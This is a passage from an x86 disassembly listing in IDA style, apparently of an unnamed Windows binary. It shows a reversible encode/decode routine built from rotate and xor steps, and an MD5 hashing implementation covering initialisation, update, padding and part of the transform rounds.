		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _rotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _rotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _rotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
